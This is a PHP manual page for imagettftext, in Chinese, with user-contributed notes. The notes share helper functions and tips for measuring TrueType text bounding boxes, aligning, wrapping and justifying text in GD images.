Apparently the bounding box returned by imagettftext and imagettfbbox is not the same, and it appears as though imagettftext does a better job at calculating the actual bounding box (maybe because it has to render every character and it then finds out really everywhere it rendered).

So, you can create a dummy image render the text to it and get a better box. Here is an example function:
<?php
function better_imagettfbbox($size, $angle, $font, $text) {
  $dummy = imagecreate(1, 1);
  $black = imagecolorallocate($dummy, 0, 0, 0);
  $bbox = imagettftext($dummy, $size, $angle, 0, 0, $black, $font, $text);
  imagedestroy($dummy);
  return $bbox;
}
?>
If you use this a lot, it would be better to keep one dummy image instead of continually creating and destroying images.
Ruquay 04-Jun-2007 04:12
Several comments show that the output of this function is often not what is expected, especially when the text is rotated.

For those of you who'd like a visual representation of what is happening to the bounding box as the text is rotated, take a look here:

http://ruquay.com/sandbox/imagettf/
Nate Sweet 01-Jun-2007 12:11
An improvement to the convertBoundingBox function. The previous function was completely wrong. My confusion came from characters like "1" and "_" that are rendered to the right or below the basepoint (in the font I'm using). I ended up using mike at mikeleigh dot com's function with a fix for these characters, and a "belowBasepoint" value.
<?php
function convertBoundingBox ($bbox) {
    if ($bbox[0] >= -1)
        $xOffset = -abs($bbox[0] + 1);
    else
        $xOffset = abs($bbox[0] + 2);
    $width = abs($bbox[2] - $bbox[0]);
    if ($bbox[0] < -1) $width = abs($bbox[2]) + abs($bbox[0]) - 1;
    $yOffset = abs($bbox[5] + 1);
    if ($bbox[5] >= -1) $yOffset = -$yOffset; // Fixed characters below the baseline.
    $height = abs($bbox[7]) - abs($bbox[1]);
    if ($bbox[3] > 0) $height = abs($bbox[7] - $bbox[1]) - 1;
    return array(
        'width' => $width,
        'height' => $height,
        'xOffset' => $xOffset, // Using xCoord + xOffset with imagettftext puts the left most pixel of the text at xCoord.
        'yOffset' => $yOffset, // Using yCoord + yOffset with imagettftext puts the top most pixel of the text at yCoord.
        'belowBasepoint' => max(0, $bbox[1])
    );
}
?>
Nate Sweet 01-Jun-2007 12:07
It took me some time to make full use of imagettfbbox. Hopefully the following function makes it much easier to use for others.

<?php
function convertBoundingBox ($bbox) {
    if ($bbox[0] >= -1)
        $leftOfBasepoint = -abs($bbox[0] + 1);
    else
        $leftOfBasepoint = abs($bbox[0] + 2);
    $rightOfBasepoint = abs($bbox[2] - $bbox[0]);
    if ($bbox[0] < -1) $rightOfBasepoint = abs($bbox[2]) + abs($bbox[0]) - 1;
    $aboveBasepoint = abs($bbox[5] + 1);
    $height = abs($bbox[7]) - abs($bbox[1]);
    if ($bbox[3] > 0) $height = abs($bbox[7] - $bbox[1]) - 1;
    $width = $leftOfBasepoint + $rightOfBasepoint;
    $belowBasepoint = $height - $aboveBasepoint;
    return array(
        'width' => $width,
        'height' => $height,
        'leftOfBasepoint' => $leftOfBasepoint,
        'rightOfBasepoint' => $rightOfBasepoint,
        'aboveBasepoint' => $aboveBasepoint,
        'belowBasepoint' => $belowBasepoint
    );
}
?>

Thanks goes to mike at mikeleigh dot com for providing the core of this function.

Remember, the basepoint is the x, y coords you use to draw text with imagettftext. A useful thing to do is take a string like...
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567890
...and use the "aboveBasepoint" value for the height of your font. Now you can draw lines and use "the height of your font * leading" as the distance between lines of text, where leading is a number like 1.45 (for 45% leading).
Nate Sweet 30-May-2007 01:36
This script shows you side by side the difference between a font rendered at a certain size and the same font rendered at some multiple of that size and then scaled down by the same multiple. It seems to help small sizes and affects large ones less. This script lets you see if it is worth implementing for your situation. Included is the great "imagettfbboxextended" function by mike at mikeleigh dot com below.

$size = 30;
$factor = 16;

$smallSize = imagettfbboxextended($size, 0, "fonts/MPlantin.ttf", "The quick brown fox jumps over the lazy dog.");
$smallWidth = $smallSize['width'];
$smallHeight = $smallSize['height'];
$canvas = imagecreatetruecolor($smallWidth + 20, $smallHeight * 2 + 20);
imagefill($canvas, 0, 0, imagecolorallocate($canvas, 255, 255, 255));
imagettftext($canvas, $size, 0, 10 + $smallSize['x'], 10 + $smallSize['y'], imagecolorallocate($canvas, 0, 0, 0), "fonts/MPlantin.ttf", "The quick brown fox jumps over the lazy dog.");

$largeSize = imagettfbboxextended($size * $factor, 0, "fonts/MPlantin.ttf", "The quick brown fox jumps over the lazy dog.");
$largeWidth = $largeSize['width'];
$largeHeight = $largeSize['height'];
$temp = imagecreatetruecolor($largeWidth, $largeHeight);
imagefill($temp, 0, 0, imagecolorallocate($canvas, 255, 255, 255));
imagettftext($temp, $size * $factor, 0, $largeSize['x'], $largeSize['y'], imagecolorallocate($temp, 0, 0, 0), "fonts/MPlantin.ttf", "The quick brown fox jumps over the lazy dog.");
imagecopyresampled($canvas, $temp, 10 + $smallSize['x'], 10 + $smallSize['y'] + 10, 0, 0, $smallWidth, $smallHeight, $largeWidth, $largeHeight);
imagepng($temp, "temp.png");

imagepng($canvas, "test.png");

function imagettfbboxextended($size, $angle, $fontfile, $text) {
    /*this function extends imagettfbbox and includes within the returned array
    the actual text width and height as well as the x and y coordinates the
    text should be drawn from to render correctly.  This currently only works
    for an angle of zero and corrects the issue of hanging letters e.g. jpqg*/
    $bbox = imagettfbbox($size, $angle, $fontfile, $text);

    //calculate x baseline
    if($bbox[0] >= -1) {
        $bbox['x'] = abs($bbox[0] + 1) * -1;
    } else {
        //$bbox['x'] = 0;
        $bbox['x'] = abs($bbox[0] + 2);
    }

    //calculate actual text width
    $bbox['width'] = abs($bbox[2] - $bbox[0]);
    if($bbox[0] < -1) {
        $bbox['width'] = abs($bbox[2]) + abs($bbox[0]) - 1;
    }

    //calculate y baseline
    $bbox['y'] = abs($bbox[5] + 1);

    //calculate actual text height
    $bbox['height'] = abs($bbox[7]) - abs($bbox[1]);
    if($bbox[3] > 0) {
        $bbox['height'] = abs($bbox[7] - $bbox[1]) - 1;
    }

    return $bbox;
}
mike at mikeleigh dot com 28-May-2007 07:05
I have been testing this function for a while now and have come up with many of the same issues that other people have touched upon.  Not being able to calculate the width of the text correctly.  Or if a solution is found then it won't work with a hanging letter or a negative start letter like 'j'.

Like Ralph I also wanted to draw a box around some text and this would require me being pixel perfect with the font.  The trouble is I did not know which font would be used or which size.  This led me to come up with a solution which I am sharing below.

<?php
function imagettfbboxextended($size, $angle, $fontfile, $text) {
    /*this function extends imagettfbbox and includes within the returned array
    the actual text width and height as well as the x and y coordinates the
    text should be drawn from to render correctly.  This currently only works
    for an angle of zero and corrects the issue of hanging letters e.g. jpqg*/
    $bbox = imagettfbbox($size, $angle, $fontfile, $text);

    //calculate x baseline
    if($bbox[0] >= -1) {
        $bbox['x'] = abs($bbox[0] + 1) * -1;
    } else {
        //$bbox['x'] = 0;
        $bbox['x'] = abs($bbox[0] + 2);
    }

    //calculate actual text width
    $bbox['width'] = abs($bbox[2] - $bbox[0]);
    if($bbox[0] < -1) {
        $bbox['width'] = abs($bbox[2]) + abs($bbox[0]) - 1;
    }

    //calculate y baseline
    $bbox['y'] = abs($bbox[5] + 1);

    //calculate actual text height
    $bbox['height'] = abs($bbox[7]) - abs($bbox[1]);
    if($bbox[3] > 0) {
        $bbox['height'] = abs($bbox[7] - $bbox[1]) - 1;
    }

    return $bbox;
}
?>

The function above gives the correct x and y coordinates that the text should be drawn from and also gives the actual image width and height.  This has been tested with various fonts and sizes ranging from 6 up to 144 points.  Some of the output will appear to be incorrect and have an extra pixel on the right, using verdana at size 144 and outputting the character 'Q' for example.  This is not an error as this is part of the anti-aliasing of the font output.

Example Usage:
<?php
$font = 'c:\windows\fonts\verdana.ttf';
$font_size = 144;
$text = 'jüyZgQ';
$bbox = imagettfbboxextended($font_size, 0, $font, $text);
?>

Return Values:
Array
(
    [0] => -8
    [1] => 40
    [2] => 715
    [3] => 40
    [4] => 715
    [5] => -177
    [6] => -8
    [7] => -177
    [x] => 6
    [width] => 722
    [y] => 176
    [height] => 216
)

Further notes can be found here along with images of the output of the function http://mikeleigh.com/links/imagettfbbox
lassial dot gmail dot com 24-May-2007 04:46
Ralph Bolton commented about the difference in calculating the bounding box size vs. aligning text base line.

The workaround for this issue is to calculate the difference in height between a character going below baseline and one above the baseline. This is likely going to vary from font to font, so I'd suggest something like this:

<?php

function fontBaselineOffset($font, $fontSize)
{
//this should be above baseline
$test2="H";
//some of these additional letters should go below it
$test3="Hjgqp";

//get the dimension for these two:

$box2 = imageTTFBbox($fontSize,0,$font,$test2);
$box3 = imageTTFBbox($fontSize,0,$font,$test3);

//return the offset value

return  abs((abs($box2[5]) + abs($box2[1])) - (abs($box3[5]) + abs($box3[1])));

}
?>

This is not perfect yet. You should define a range of allowed characters that can go below baseline, compare them to the ones actually found in your string and use them instead of the string $test3 used in the example function above. This should avoid problems with letters that go further below baseline than the others (e.g. there could be a difference between 'g' and 'p')
ralphbolton at mail2sexy dot com 23-Apr-2007 09:16
There's a bit of an annoyance with measuring font sizes and drawing boxes around text. When fonts are measured using ImageTTFbbox, the correct vertical height is returned. That is, the measurement of the phrase "Hanging" will be from the top of the "H" to the bottom of the "g".

The problem is that functions like imageTTFtext align with the "line" of the text - that is, in the phrase "Hanging", the alignment is below the "H", not the bottom of the "g". That means that if you draw a rectangle behind your text, it'll be incorrectly aligned because the hanging "g" will be outside the box.

For example, this doesn't work as you might expect (because the "g" hangs below the box):
<?php
// Get the size of the font box
$textbox = imageTTFBbox($size, 0, $font, 'Hanging');
$textwidth = abs($textbox[4] - $textbox[0]);
$textheight = abs($textbox[5] - $textbox[1]);

// Now draw a rectangle on the image
$colour = ImageColorAllocate($im, 100, 100, 100);
imagefilledrectangle($im, $x, $y - $textheight, $x + $textwidth, $y, $colour );

// Now draw the text
$black = ImageColorAllocate($im, 0, 0, 0);
ImageTTFText($image['resource'], $size, 0, $x, $y, $black, $font, 'Hanging');
?>
It also seems that the rectangle in the above example is located 1 pixel to the left of the text.

I haven't found a way to resolve this problem correctly. Instead, I have enlarged the rectangle and then put the text into it. I don't think this will work absolutely correctly for all fonts, so it's not exactly a perfect solution. However, it's better than nothing! Here is a snippet of it:
<?php
$enlargex = $textwidth * 0.08;
$enlargey = $textheight * 0.1;
$enlargey2 = $textheight * 0.5;

// Now draw a rectangle on the image
$colour = ImageColorAllocate($im, 100, 100, 100);
imagefilledrectangle($im, $x - $enlargex, $y - $textheight - $enlargey, $x + $textwidth + $enlargex, $y + $enlarge2, $colour );
?>
marclaz 31-Jul-2006 06:13
Please note that as imageTTFBbox and imageTTFText functions return an array of coordinates which could be negative numbers care must be taken with height and width calculations.

The rigth way to do that is to use the abs() function:

for an horizontal text:

$box = @imageTTFBbox($size,0,$font,$text);
$width = abs($box[4] - $box[0]);
$height = abs($box[5] - $box[1]);

Then to center your text at ($x,$y) position the code should be like that:

$x -= $width/2;
$y += $heigth/2;

imageTTFText($img,$size,0,$x,$y,$color,$font,$text);

this because (0,0) page origin is topleft page corner and (0,0) text origin is lower-left readable text corner.

Hope this help.
peisenmann at gmail dot com 28-Dec-2005 06:41
Another function for centered text string.
What it does: Generate a truecolor .png image of a text string. The image will be just large enough encompass the text and a 2 px border and the text will be centered in it.

It is called from any other page like so...
<img src="linkImg.php?text=php.net is great&border=out" /> // Text with #&+"'\<> will need to be escaped, but I've found spaces don't cause errors. I haven't tested this with any other languages.

The following code is the file named linkImg.php
The file was not designed to have anything else here with it, and the open and close php tags should the the very first and very last characters of the page respectively, as outside whitespace can be a little evil sometimes.
<?php
//Obtain text and border via GET
//Border can be out, in, or flat
$text = $_GET['text'];
$border = $_GET['border'];

  $font = "fontpath"; //(str) "fonts/sasquatchlives.ttf"
  $fontsize = font size; //(int) pixels in GD 1, or points in GD 2

//Register box
$box = imagettfbbox ($fontsize, 0, $font, $text);
//Find out the width and height of the text box
$textW = $box[2] - $box[0];
$textH= $box[3]-$box[5];
//Add padding
$paddingx = 10;
$paddingy = 10;
//Set image dimentions
$width = $textW+$paddingx;
$height= $textH+$paddingy;

//Bottom left corner of text
$textx = $paddingx/2;
$texty = $height - $paddingy/2;

//Shadow offset (pixels)
$shadoffx = 1;
$shadoffy = 1;

//Create the image
 $img = imagecreatetruecolor($width,$height);
//Define some colors
 $white = imagecolorallocate($img,255,255,255);
 $black = imagecolorallocate($img,0,0,0);
 $lightgrey = imagecolorallocate($img,200,200,200);
 $grey = imagecolorallocate($img,100,100,100);
//Define Text (fg) and background (bg) colors
 $bgcol = imagecolorallocate($img,192,213,196); //Celadon (light pastel green)
 $fgcol = imagecolorallocate($img,243,104,88); //Peach
// Fill image with background color
 imagefill($img,0,0,$bgcol);

//Write Shadow
imagettftext($img, $fontsize, 0, $textx+$shadoffx, $texty+$shadoffy, $grey, $font, $text);

//Write Text
imagettftext($img, $fontsize, 0, $textx, $texty, $fgcol, $font, $text);

//Bordering

   //Embossed border (button-looking)
 if ($border == "out")
  {
   imageline ($img,0,0,$width,0,$white);imageline ($img,0,0,0,$height,$white);
   imageline ($img,1,1,$width,1,$lightgrey);imageline ($img,1,1,1,$height-1,$lightgrey);
   imageline ($img,0,$height-1,$width-1,$height-1,$black);imageline ($img,$width-1,$height-1,$width-1,0,$black);
   imageline ($img,2,$height-2,$width-2,$height-2,$grey);imageline ($img,$width-2,$height-2,$width-2,2,$grey);

  }
    //Flat border
 if ($border == "flat")
  {
   imageline ($img,0,0,$width,0,$white);imageline ($img,0,0,0,$height,$white);
   imageline ($img,1,1,$width,1,$grey);imageline ($img,1,1,1,$height-1,$grey);
   imageline ($img,0,$height-1,$width-1,$height-1,$white);imageline ($img,$width-1,$height-1,$width-1,0,$white);
   imageline ($img,2,$height-2,$width-2,$height-2,$grey);imageline ($img,$width-2,$height-2,$width-2,2,$grey);
  }

    //Engraved border (pushed button)
 if ($border == "in")
  {
   imageline ($img,0,0,$width,0,$black);imageline ($img,0,0,0,$height,$black);
   imageline ($img,1,1,$width,1,$grey);imageline ($img,1,1,1,$height-1,$grey);
   imageline ($img,0,$height-1,$width-1,$height-1,$white);imageline ($img,$width-1,$height-1,$width-1,0,$white);
   imageline ($img,2,$height-2,$width-2,$height-2,$lightgrey);imageline ($img,$width-2,$height-2,$width-2,2,$lightgrey);
  }

// Header info
 header("Content-type: image/png");
//Sends the image
 imagepng($img);
 imagedestroy($img);
?>

Hope this helps someone!
-Patrick-
ryan at retronetworks dot com 28-Mar-2005 07:46
Here is a function that lets you write a string with your own "font tracking" level (the amount of pixels separating each character).  It uses imagettfbbox to determine the width of each character, so it doesn't discriminate against the skinnier of characters.  For this example, let $t = the amount of distance in pixels you want to separate each character from its neighbors.

<?php
function ImageTTFTextWithTracking($im, $size, $angle, $t, $x, $y, $color, $font, $text) {
    $numchar = strlen($text);
    for($i = 0; $i < $numchar; $i++) {
        # Assign character
        $char[$i] = substr($text, $i, 1);

        # Write character
        imagettftext($im, $size, $angle, ($x + $w + ($i * $t)), $y, $color, $font, $char[$i]);

        # Get width of character
        $width = imagettfbbox($size, $angle, $font, $char[$i]);
        $w = $w + $width[2];
    }
}
?>

Be aware that it currently does not work for angles other than the 0 default (I have no need for that).


用 TrueType 字体向图像写入文本

  • ? imagettfbbox
  • imagetypes ?
  • PHP Manual
  • GD 和图像处理 函数
  • 用 TrueType 字体向图像写入文本

imagettftext

(PHP 4, PHP 5, PHP 7, PHP 8)

imagettftext — 用 TrueType 字体向图像写入文本

说明

imagettftext(
GdImage $image,
float $size,
float $angle,
int $x,
int $y,
int $color,
string $font_filename,
string $text,
array $options = []
): array|false

使用 TrueType 字体将指定的 text 写入图像。

Note:

PHP 8.0.0 之前，imagefttext() 是 imagettftext()
的扩展变体，额外支持 extrainfo。自 PHP 8.0.0 起，imagettftext()
是 imagefttext() 的别名。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

size

字体的尺寸，单位：点（磅）。

angle

角度制表示的角度，0 度为从左向右读的文本。较高数值表示逆时针旋转。例如 90 度表示从下向上读的文本。

x

由 x，y 所表示的坐标定义了第一个字符的基本点（大概是字符的左下角）。这和 imagestring() 不同，其中 x，y 定义了第一个字符的左上角。例如"top left"为 0, 0。

y

Y 坐标。它设定了字体基线的位置，不是字符的最底端。

color

颜色索引。使用负的颜色索引值具有关闭防锯齿的效果。见 imagecolorallocate()。

fontfile

想要使用的 TrueType 字体的路径。

根据 PHP 所使用的 GD 库版本，当 fontfile 没有以 / 开头时则 .ttf 将追加到文件名之后，并且会在库定义字体路径中尝试搜索该文件名。

当使用的 GD 库版本低于 2.0.18 时，space 字符而不是分号将被用来作为不同字体文件的"路径分隔符"。不小心使用了此特性将会导致一条警告信息：Warning: Could not find/open font。对受影响的版本来说唯一解决方案就是将字体移动到不包含空格的路径。

很多情况下字体与使用字体的脚本在同一个目录中，下面的小技巧可以缓解 include 的问题。

<?php
// Set the environment variable for GD
putenv('GDFONTPATH=' . realpath('.'));

// Name the font to be used (note the lack of the .ttf extension)
$font = 'SomeFont';
?>

Note:

注意 open_basedir 不 适用于 fontfile。

text

UTF-8 编码的文本字符串。

可以包含十进制数字化字符表示（形式为：&#8364;）来访问字体中超过位置 127 的字符，支持十六进制格式（如 &#xA9;）。UTF-8 编码的字符串可以直接传递。

不支持命名实体，比如 &copy;。可以考虑使用 html_entity_decode() 将这些命名实体解码为 UTF-8 字符。

如果字符串中使用了字体不支持的字符，则将用空心矩形替换该字符。

返回值

返回含有 8 个元素的数组，代表构成文本外框的四个点，顺序为左下、右下、右上、左上。无论角度如何，这些点是相对于文本的，因此"左上角"指的是以水平方向看文字时的左上角。错误时返回 false。

更新日志

版本 | 说明
8.0.0 | 新增 options。

示例

Example #1 imagettftext() 示例

此示例脚本将生成白色 400x30 像素的 PNG 图像，其中有黑色（带灰色阴影）Arial 字体写的"Testing..."。

<?php
// Set the content-type
header('Content-Type: image/png');

// Create the image
$im = imagecreatetruecolor(400, 30);

// Create some colors
$white = imagecolorallocate($im, 255, 255, 255);
$grey = imagecolorallocate($im, 128, 128, 128);
$black = imagecolorallocate($im, 0, 0, 0);
imagefilledrectangle($im, 0, 0, 399, 29, $white);

// The text to draw
$text = 'Testing...';
// Replace path by your own font path
$font = 'arial.ttf';

// Add some shadow to the text
imagettftext($im, 20, 0, 11, 21, $grey, $font, $text);

// Add the text
imagettftext($im, 20, 0, 10, 20, $black, $font, $text);

// Using imagepng() results in clearer text compared with imagejpeg()
imagepng($im);
imagedestroy($im);
?>

以上示例的输出类似于：

注释

Note: 此函数仅在 PHP 编译时加入 freetype 支持时有效（--with-freetype-dir=DIR）。

参见

  • imagettfbbox() - 取得使用 TrueType 字体的文本的边界框
  • imagefttext() - 使用 FreeType 2 字体将文本写入图像

User Contributed Notes

badrou14 at yahoo dot fr 24-Apr-2021 03:49
for windows you can use this code thanks to Ohmycode
 the link of his solution : https://ohmycode.wordpress.com/2008/09/20/imagettftext-gdfontpath-et-ttf-sous-windows/
<?php

$font = realpath(".")."\\arial.ttf";

$black = imagecolorallocate($im, 0, 0, 0);

$im = imagecreatetruecolor(400, 30);

imagettftext($im, 20, 0, 10, 20, $black, $font, "coucou");
?>
simbiat at bk dot ru 02-May-2015 02:15
Another way to wrap and center using wordwrap and learning the number of lines in the result of that wordwrap

<?php

$text="privet privet privet privet privet privet2 privet2 privet2 privet2 privet2 privet3";
$text=wordwrap($text, 35, "\n", TRUE);

//setting the image header in order to proper display the image
header("Content-Type: image/png");
//try to create an image
$im = @imagecreate(460, 215)
    or die("Cannot Initialize new GD image stream");
//set the background color of the image
$background_color = imagecolorallocate($im, 0x00, 0x00, 0x00);
//set the color for the text
$text_color = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);
//adf the string to the image

$font = "verdana.ttf";
$font_size = 20;
$angle = 0;

$splittext = explode ( "\n" , $text );
$lines = count($splittext);

foreach ($splittext as $text) {
    $text_box = imagettfbbox($font_size,$angle,$font,$text);
    $text_width = abs(max($text_box[2], $text_box[4]));
    $text_height = abs(max($text_box[5], $text_box[7]));
    $x = (imagesx($im) - $text_width)/2;
    $y = ((imagesy($im) + $text_height)/2)-($lines-2)*$text_height;
    $lines=$lines-1;
    imagettftext($im, $font_size, $angle, $x, $y, $text_color, $font, $text);
}

imagepng($im);
imagedestroy($im);
?>
suyog at suyogdixit dot com 30-Oct-2013 10:46
For your general edification: The following drop-in function will place a block of fully justified text onto a GD image. It is a little CPU heavy, so I suggest caching the output rather than doing it on-the-fly.

Arguments:

$image - the GD handle of the target canvas
$size - text size
$angle - slope of text (does not work very well), leave at 0 for horizontal text
$left - no. of pixels from left to start block
$top - no. of pixels from top to start block
$color - handle for colour (imagecolorallocate result)
$font - path to .ttf font
$text - the text to wrap and justify
$max_width - the width of the text block within which the text should be wrapped and fully justified
$minspacing - the minimum number of pixels between words
$linespacing - a multiplier of line height (1 for normal spacing; 1.5 for line-and-a-half etc.)

eg.
$image = ImageCreateFromJPEG( "sample.jpg" );
$cor = imagecolorallocate($image, 0, 0, 0);
$font = 'arial.ttf';
$a = imagettftextjustified($image, 20, 0, 50, 50, $color, $font, "Shree", 500, $minspacing=3,$linespacing=1);
header('Content-type: image/jpeg');
imagejpeg($image,NULL,100);

function imagettftextjustified(&$image, $size, $angle, $left, $top, $color, $font, $text, $max_width, $minspacing=3,$linespacing=1)
{
$wordwidth = array();
$linewidth = array();
$linewordcount = array();
$largest_line_height = 0;
$lineno=0;
$words=explode(" ",$text);
$wln=0;
$linewidth[$lineno]=0;
$linewordcount[$lineno]=0;
foreach ($words as $word)
{
$dimensions = imagettfbbox($size, $angle, $font, $word);
$line_width = $dimensions[2] - $dimensions[0];
$line_height = $dimensions[1] - $dimensions[7];
if ($line_height>$largest_line_height) $largest_line_height=$line_height;
if (($linewidth[$lineno]+$line_width+$minspacing)>$max_width)
{
$lineno++;
$linewidth[$lineno]=0;
$linewordcount[$lineno]=0;
$wln=0;
}
$linewidth[$lineno]+=$line_width+$minspacing;
$wordwidth[$lineno][$wln]=$line_width;
$wordtext[$lineno][$wln]=$word;
$linewordcount[$lineno]++;
$wln++;
}
for ($ln=0;$ln<=$lineno;$ln++)
{
$slack=$max_width-$linewidth[$ln];
if (($linewordcount[$ln]>1)&&($ln!=$lineno)) $spacing=($slack/($linewordcount[$ln]-1));
else $spacing=$minspacing;
$x=0;
for ($w=0;$w<$linewordcount[$ln];$w++)
{
imagettftext($image, $size, $angle, $left + intval($x), $top + $largest_line_height + ($largest_line_height * $ln * $linespacing), $color, $font, $wordtext[$ln][$w]);
$x+=$wordwidth[$ln][$w]+$spacing+$minspacing;
}
}
return true;
}
John Conde 01-Nov-2010 10:17
If you want to create a paragraph you will need to break your text up into lines and then place each line individually one below the next.

Here's a basic example of how to do that:

<?php
// Basic font settings
$font ='./times.ttf';
$font_size = 15;
$font_color =  0x000000

// Text to be placed as a paragraph
$text = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer non nunc lectus. Curabitur hendrerit bibendum enim dignissim tempus. Suspendisse non ipsum auctor metus consectetur eleifend. Fusce cursus ullamcorper sem nec ultricies. Aliquam erat volutpat. Vivamus massa justo, pharetra et sodales quis, rhoncus in ligula. Integer dolor velit, ultrices in iaculis nec, viverra ut nunc.';

// Break it up into pieces 125 characters long
$lines = explode('|', wordwrap($text, 115, '|'));

// Starting Y position
$y = 513;

// Loop through the lines and place them on the image
foreach ($lines as $line)
{
    imagettftext($image, $font_size, 0, 50, $y, $font_color, $font, $line);

    // Increment Y so the next line is below the previous line
    $y += 23;
}

?>
JohnB 28-Feb-2010 11:58
Just in case you were--like me--unaware of this, in Windows, ttf fonts don't necessarily antialias at all font sizes. Arial appears to work at all sizes but Calibri, for example, only antialiases at a point size of 8 and then at all sizes 16 and up. Not only that but at fonts sizes like 10 and 12 characters don't print at the expected angle: the characters are all printed upright on an angled baseline.
web at evanreeves dot com 22-May-2009 12:50
I was having trouble trying to render non antialiased text using a pixel font. The tips about setting a negative value for the color are valid, but I was still having trouble with the text I was trying to render because it was black. I discovered that if I changed the imagecolorallocate() function from:

$color = imagecolorallocate($base, 0, 0, 0);

to

$color = imagecolorallocate($base, 1, 1, 1); (near black)

and then used the negative value for the color in imagettftext(), it would work properly. The difference is that my first implementation set $color = 0. Obviously, you can't have $color = -0, it made no difference. When I switched to (1,1,1) it became $color = 1 which I could take a negative value for.
philip at webdesco dot com 29-Apr-2009 05:51
Hi,
for the dummies (like myself) if you are having problems including your font file, prefix the file name with ./

On my development server the following worked fine
$myfont = "coolfont.ttf";

on my hosting server the only way i could get the font to work was as follows
$myfont = "./coolfont.ttf";

hope this helps someone out!
ben at spooty dot net 11-Mar-2009 06:40
Here's a simple function to wrap text going into an image. It'll wrap onto as many lines as it needs to, but $angle has to be zero. The $width parameter is the width of the image.

<?php
function wrap($fontSize, $angle, $fontFace, $string, $width){

    $ret = "";

    $arr = explode(' ', $string);

    foreach ( $arr as $word ){

        $teststring = $ret.' '.$word;
        $testbox = imagettfbbox($fontSize, $angle, $fontFace, $teststring);
        if ( $testbox[2] > $width ){
            $ret.=($ret==""?"":"\n").$word;
        } else {
            $ret.=($ret==""?"":' ').$word;
        }
    }

    return $ret;
}
?>
s.pynenburg _at_ gm ail dotcom 07-Aug-2008 07:31
I had an image generator where the user could position where they wanted the text to begin - however it kept going off the side of an image. So I made this basic function: it measures if the inputted text and x-position will cause the string to go off the edge, and if so, it will fit as much as it can on the first line, then go down to the next one.
Limitations:
-It only performs this once (i.e. it won't split into three lines)
-I'm pretty sure it won't work with angled text.

<?PHP

function imagettftextwrap($im, $size, $angle, $x_pos, $y_pos, $color, $font, $instr)
{
    $box = @imagettfbbox($size, 0, $font, $instr);
    $width = abs($box[4] - $box[0]);
    $height = abs($box[3] - $box[5]);
    $overlap = (($x_pos + $width) - imagesx($im));
    if($overlap > 0) //if the text doesn't fit on the image
    {
        $chars = str_split($instr);
        $str = "";
        $pstr = "";
        for($m=0; $m < sizeof($chars); $m++)
        {
            $bo = imagettfbbox($fsize1, 0, $font1, $str);
            $wid = abs($bo[4] - $bo[0]);
            if(($x_pos + $wid) < imagesx($im)) //add one char from the string as long as it's not overflowing
            {
                $pstr .= $chars[$m];
                $bo2 = imagettfbbox($fsize1, 0, $font1, $pstr);
                $wid2 = abs($bo2[4] - $bo2[0]);
                if(($x_pos + $wid2) < imagesx($im))
                {
                    $str .= $chars[$m];
                }
                else
                {
                    break;
                }
            }
            else
            {
                break;
            }
        }
        $restof = "";
        for($l=$m; $l < sizeof($chars); $l++)
        {
            $restof .= $chars[$l]; //add the rest of the string to a new line
        }
        imagettftext($im, $size, $angle, $x_pos, $y_pos, $color, $font, $str); // print out the smaller line
        imagettftext($im, $size, $angle, 0, $y_pos + $height, $color, $font, $restof); //and the rest of it
    }
    else
    {
        imagettftext($im, $size, $angle, $x_pos, $y_pos, $color, $font, $instr); //otherwise just do normally
    }

}

?>
Valentijn de Pagter 16-May-2008 10:13
If you're looking for easy text alignment, you need to use the imagettfbbox() command. When given the correct parameters, it will return the boundaries of your to-be-made text field in an array, which will allow you to calculate the x and y coordinate that you need to use for centering or aligning your text.

A horizontal centering example:

<?php

$tb = imagettfbbox(17, 0, 'airlock.ttf', 'Hello world!');

?>

$tb would contain:

Array
(
    [0] => 0 // lower left X coordinate
    [1] => -1 // lower left Y coordinate
    [2] => 198 // lower right X coordinate
    [3] => -1 // lower right Y coordinate
    [4] => 198 // upper right X coordinate
    [5] => -20 // upper right Y coordinate
    [6] => 0 // upper left X coordinate
    [7] => -20 // upper left Y coordinate
)

For horizontal alignment, we need to substract the "text box's" width { $tb[2] or $tb[4] } from the image's width and then substract by two.

Saying you have a 200px wide image, you could do something like this:

<?php

$x = ceil((200 - $tb[2]) / 2); // lower left X coordinate for text
imagettftext($im, 17, 0, $x, $y, $tc, 'airlock.ttf', 'Hello world!'); // write text to image

?>

This'll give you perfect horizontal center alignment for your text, give or take 1 pixel. Have fun!
damititi at gmail dot com 22-Apr-2008 01:21
First of all, thanks sk89q for the func! it was exactly I was looking for.

I made a change. Depending on the letter, the text were incorrect vertical aligned.
I replace the line:
                $line_height = $dimensions[1] - $dimensions[7];
for the following:
                $line_height = $size+4;

No matter if mama or jeje is written, the vertical position will be the same.
llewellyntd at gmail dot com 12-Mar-2008 03:27
Hi All,

I struggled for moths to do a decent text warp with GD lib. Here is the code that I made use of:

<?php
//word wrap
$warpText = wordwrap($text, 30, "\n");
//display text
imagettftext($image, $fontSize, 0, $x, $y, $fontColor, $font, $warpText);
?>

Hope this helps somebody.

Cheers
m0r1arty at mail dot ru 13-Feb-2008 10:50
Sorry my English.
I have trouble with using imagettftext under Windows.
I can't used short name of fonts(example "arial","arialbd.ttf" etc). PHP say what not find this font.
Manipulation with environment GDFONTPATH lost.
This is my solution
<?php
$dir=opendir('./font/');//directory with fonts
if($dir)
    while($f=readdir($dir)){
        if(preg_match('/\.ttf$/',$f)){
            $font=explode('.',$f);
            define($font[0],realpath('./font/'.$f));
        }
    }
if($dir)
    closedir($dir);
?>
Directory "font" have two file: arial.ttf and arialbd.ttf
Now one can using constant font name by calling imagettftext:
imagettftext($img,12,0,25,28,$color,arialbd,'some text');
matt at mmkennedy dot net 17-Jan-2008 07:11
For anyone attempting to print black barcodes, and trying to turn of anti-aliasing, remember that -1 * [0,0,0] is 0, not -0.
denis at reddodo dot com 24-Dec-2007 06:05
Small but very dangerous bug in function ttfWordWrappedText, written by waage, just try ttfWordWrappedText("aaaaa\naa",4) and your script will run into endless loop.
You can fix it with code below:
<?php
    function ttfWordWrappedText_fixed($text, $strlen = 8) {
    $text = urldecode($text);
    $text = explode("\n", $text);
    $i = 0;
    foreach($text as $text)
    {
        while(strlen($text) > $strlen  && strstr($text, ' ') !== FALSE) {
           $startPoint = strpos($text, ' ');
           $line[$i][] =substr($text,0,$startPoint);
           $text = trim(strstr($text, ' '));
        }
        $line[$i][] = trim($text);
        }
        $line[$i][] = trim($text);
        $i++;
    }

    return $line;
}
?>
